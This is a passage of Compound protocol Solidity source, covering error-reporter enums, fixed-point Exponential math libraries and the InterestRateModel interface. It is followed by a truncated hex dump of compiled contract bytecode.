INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK, SET_REWARD_TOKEN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; import "./ExponentialNoError.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @dev Legacy contract for compatibility reasons with existing contracts that still use MathError * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath, ExponentialNoError { /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } } pragma solidity ^0.5.16; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract ExponentialNoError { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); }
0x608060405234801561001057600080fd5b50600436106102f15760003560e01c806373acee981161019d578063bd6d894d116100e9578063f2b3abbd116100a2578063f851a4401161007c578063f851a44014610b32578063f8f9da2814610b3a578063fca7820b14610b42578063fe9c44ae14610b5f576102f1565b8063f2b3abbd14610ace578063f3fdb15a14610af4578063f5e3c46214610afc576102f1565b8063bd6d894d14610a0a578063c37f68e214610a12578063c5ebeaec14610a5e578063db006a7514610a7b578063dd62ed3e14610a98578063e9c714f214610ac6576102f1565b8063a0712d6811610156578063aa5af0fd11610130578063aa5af0fd1461099e578063ae9d70b0146109a6578063b2a02ff1146109ae578063b71d1a0c146109e4576102f1565b8063a0712d681461094d578063a6afed951461096a578063a9059cbb14610972576102f1565b806373acee98146107a4578063852a12e3146107ac5780638f840ddd146107c957806395d89b41146107d157806395dd9193146107d957806399d8c1b4146107ff576102f1565b8063313ce5671161025c57806356e6772811610215578063601a0bf1116101ef578063601a0bf1146107515780636c540baf1461076e5780636f307dc31461077657806370a082311461077e576102f1565b806356e677281461069d5780635c60da1b146107415780635fe3b56714610749576102f1565b8063313ce567146106065780633af9e669146106245780633b1d21a21461064a5780633e941010146106525780634576b5db1461066f57806347bd371814610695576102f1565b806318160ddd116102ae57806318160ddd1461041a578063182df0f5146104225780631a31d4651461042a57806323b872dd146105805780632608f818146105b657806326782247146105e2576102f1565b806306fdde03146102f6578063095ea7b3146103735780630e752702146103b3578063153ab505146103e2578063173b9904146103ec57806317bfdfbc146103f4575b600080fd5b6102fe610b67565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610338578181015183820152602001610320565b50505050905090810190601f1680156103655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61039f6004803603604081101561038957600080fd5b506001600160a01b038135169060200135610bf4565b604080519115158252519081900360200190f35b6103d0600480360360208110156103c957600080fd5b5035610c61565b60408051918252519081900360200190f35b6103ea610c77565b005b6103d0610cc7565b6103d06004803603602081101561040a57600080fd5b50356001600160a01b0316610ccd565b6103d0610d8d565b6103d0610d93565b6103ea600480360360e081101561044057600080fd5b6001600160a01b03823581169260208101358216926040820135909216916060820135919081019060a081016080820135600160201b81111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460018302840111600160201b831117156104b557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561050757600080fd5b82018360208201111561051957600080fd5b803590602001918460018302840111600160201b8311171561053a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903560ff169150610df69050565b61039f6004803603606081101561059657600080fd5b506001600160a01b03813581169160208101359091169060400135610e95565b6103d0600480360360408110156105cc57600080fd5b506001600160a01b038135169060200135610f07565b6105ea610f1d565b604080516001600160a01b039092168252519081900360200190f35b61060e610f2c565b6040805160ff9092168252519081900360200190f35b6103d06004803603602081101561063a57600080fd5b50356001600160a01b0316610f35565b6103d0610feb565b6103d06004803603602081101561066857600080fd5b5035610ffa565b6103d06004803603602081101561068557600080fd5b50356001600160a01b0316611005565b6103d061115a565b6103ea600480360360208110156106b357600080fd5b810190602081018135600160201b8111156106cd57600080fd5b8201836020820111156106df57600080fd5b803590602001918460018302840111600160201b8311171561070057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611160945050505050565b6105ea6111b1565b6105ea6111c0565b6103d06004803603602081101561076757600080fd5b50356111cf565b6103d061126a565b6105ea611270565b6103d06004803603602081101561079457600080fd5b50356001600160a01b031661127f565b6103d061129a565b6103d0600480360360208110156107c257600080fd5b5035611350565b6103d061135b565b6102fe611361565b6103d0600480360360208110156107ef57600080fd5b50356001600160a01b03166113b9565b6103ea600480360360c081101561081557600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561084f57600080fd5b82018360208201111561086157600080fd5b803590602001918460018302840111600160201b8311171561088257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156108d457600080fd5b8201836020820111156108e657600080fd5b803590602001918460018302840111600160201b8311171561090757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903560ff1691506114169050565b6103d06004803603602081101561096357600080fd5b50356115fd565b6103d0611609565b61039f6004803603604081101561098857600080fd5b506001600160a01b038135169060200135611961565b6103d06119d2565b6103d06119d8565b6103d0600480360360608110156109c457600080fd5b506001600160a01b03813581169160208101359091169060400135611a77565b6103d0600480360360208110156109fa57600080fd5b50356001600160a01b0316611ae8565b6103d0611b74565b610a3860048036036020811015610a2857600080fd5b50356001600160a01b0316611c30565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6103d060048036036020811015610a7457600080fd5b5035611cc5565b6103d060048036036020811015610a9157600080fd5b5035611cd0565b6103d060048036036040811015610aae57600080fd5b506001600160a01b0381358116916020013516611cdb565b6103d0611d06565b6103d060048036036020811015610ae457600080fd5b50356001600160a01b0316611e09565b6105ea611e43565b6103d060048036036060811015610b1257600080fd5b506001600160a01b03813581169160208101359160409091013516611e52565b6105ea611e6a565b6103d0611e7e565b6103d060048036036020811015610b5857600080fd5b5035611ee2565b61039f611f60565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bec5780601f10610bc157610100808354040283529160200191610bec565b820191906000526020600020905b815481529060010190602001808311610bcf57829003601f168201915b505050505081565b336000818152600f602090815260408083206001600160a01b03871680855290835281842086905581518681529151939493909284927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a360019150505b92915050565b600080610c6d83611f65565b509150505b919050565b60035461010090046001600160a01b03163314610cc55760405162461bcd60e51b815260040180806020018281038252602d815260200180614ee1602d913960400191505060405180910390fd5b565b60085481565b6000805460ff16610d12576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155610d24611609565b14610d6f576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b610d78826113b9565b90505b6000805460ff19166001179055919050565b600d5481565b6000806000610da061200e565b90925090506000826003811115610db357fe5b14610def5760405162461bcd60e51b815260040180806020018281038252603581526020018061502e6035913960400191505060405180910390fd5b9150505b90565b610e04868686868686611416565b601180546001600160a01b0319166001600160a01b038981169190911791829055604080516318160ddd60e01b8152905192909116916318160ddd91600480820192602092909190829003018186803b158015610e6057600080fd5b505afa158015610e74573d6000803e3d6000fd5b505050506040513d6020811015610e8a57600080fd5b505050505050505050565b6000805460ff16610eda576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155610ef0338686866120bd565b1490506000805460ff191660011790559392505050565b600080610f1484846123cb565b50949350505050565b6004546001600160a01b031681565b60035460ff1681565b6000610f3f614cef565b6040518060200160405280610f52611b74565b90526001600160a01b0384166000908152600e6020526040812054919250908190610f7e908490612476565b90925090506000826003811115610f9157fe5b14610fe3576040805162461bcd60e51b815260206004820152601f60248201527f62616c616e636520636f756c64206e6f742062652063616c63756c6174656400604482015290519081900360640190fd5b949350505050565b6000610ff56124ca565b905090565b6000610c5b8261254a565b60035460009061010090046001600160a01b031633146110325761102b6001603f6125de565b9050610c72565b60055460408051623f1ee960e11b815290516001600160a01b0392831692851691627e3dd2916004808301926020929190829003018186803b15801561107757600080fd5b505afa15801561108b573d6000803e3d6000fd5b505050506040513d60208110156110a157600080fd5b50516110f4576040805162461bcd60e51b815260206004820152601c60248201527f6d61726b6572206d6574686f642072657475726e65642066616c736500000000604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b03858116918217909255604080519284168352602083019190915280517f7ac369dbd14fa5ea3f473ed67cc9d598964a77501540ba6751eb0b3decf5870d9281900390910190a160005b9392505050565b600b5481565b60035461010090046001600160a01b031633146111ae5760405162461bcd60e51b815260040180806020018281038252602d8152602001806150e3602d913960400191505060405180910390fd5b50565b6012546001600160a01b031681565b6005546001600160a01b031681565b6000805460ff16611214576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611226611609565b9050801561124c5761124481601081111561123d57fe5b60306125de565b915050610d7b565b61125583612644565b9150506000805460ff19166001179055919050565b60095481565b6011546001600160a01b031681565b6001600160a01b03166000908152600e602052604090205490565b6000805460ff166112df576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556112f1611609565b1461133c576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b50600b546000805460ff1916600117905590565b6000610c5b82612777565b600c5481565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610bec5780601f10610bc157610100808354040283529160200191610bec565b60008060006113c7846127f8565b909250905060008260038111156113da57fe5b146111535760405162461bcd60e51b8152600401808060200182810382526037815260200180614f396037913960400191505060405180910390fd5b60035461010090046001600160a01b031633146114645760405162461bcd60e51b8152600401808060200182810382526024815260200180614e486024913960400191505060405180910390fd5b6009541580156114745750600a54155b6114af5760405162461bcd60e51b8152600401808060200182810382526023815260200180614e6c6023913960400191505060405180910390fd5b6007849055836114f05760405162461bcd60e51b8152600401808060200182810382526030815260200180614e8f6030913960400191505060405180910390fd5b60006114fb87611005565b90508015611550576040805162461bcd60e51b815260206004820152601a60248201527f73657474696e6720636f6d7074726f6c6c6572206661696c6564000000000000604482015290519081900360640190fd5b6115586128ac565b600955670de0b6b3a7640000600a55611570866128b0565b905080156115af5760405162461bcd60e51b8152600401808060200182810382526022815260200180614ebf6022913960400191505060405180910390fd5b83516115c2906001906020870190614d02565b5082516115d6906002906020860190614d02565b50506003805460ff90921660ff199283161790556000805490911660011790555050505050565b600080610c6d83612a25565b6000806116146128ac565b6009549091508082141561162d57600092505050610df3565b60006116376124ca565b600b54600c54600a54600654604080516315f2405360e01b815260048101879052602481018690526044810185905290519596509394929391926000926001600160a01b03909216916315f24053916064808301926020929190829003018186803b1580156116a557600080fd5b505afa1580156116b9573d6000803e3d6000fd5b505050506040513d60208110156116cf57600080fd5b5051905065048c2739500081111561172e576040805162461bcd60e51b815260206004820152601c60248201527f626f72726f772072617465206973206162737572646c79206869676800000000604482015290519081900360640190fd5b60008061173b8989612aa6565b9092509050600082600381111561174e57fe5b146117a0576040805162461bcd60e51b815260206004820152601f60248201527f636f756c64206e6f742063616c63756c61746520626c6f636b2064656c746100604482015290519081900360640190fd5b6117a8614cef565b6000806000806117c660405180602001604052808a81525087612ac9565b909750945060008760038111156117d957fe5b1461180b576117f6600960068960038111156117f157fe5b612b31565b9e505050505050505050505050505050610df3565b611815858c612476565b9097509350600087600381111561182857fe5b14611840576117f6600960018960038111156117f157fe5b61184a848c612b97565b9097509250600087600381111561185d57fe5b14611875576117f6600960048960038111156117f157fe5b6118906040518060200160405280600854815250858c612bbd565b909750915060008760038111156118a357fe5b146118bb576117f6600960058960038111156117f157fe5b6118c6858a8b612bbd565b909750905060008760038111156118d957fe5b146118f1576117f6600960038960038111156117f157fe5b60098e9055600a819055600b839055600c829055604080518d8152602081018690528082018390526060810185905290517f4dec04e750ca11537cabcd8a9eab06494de08da3735b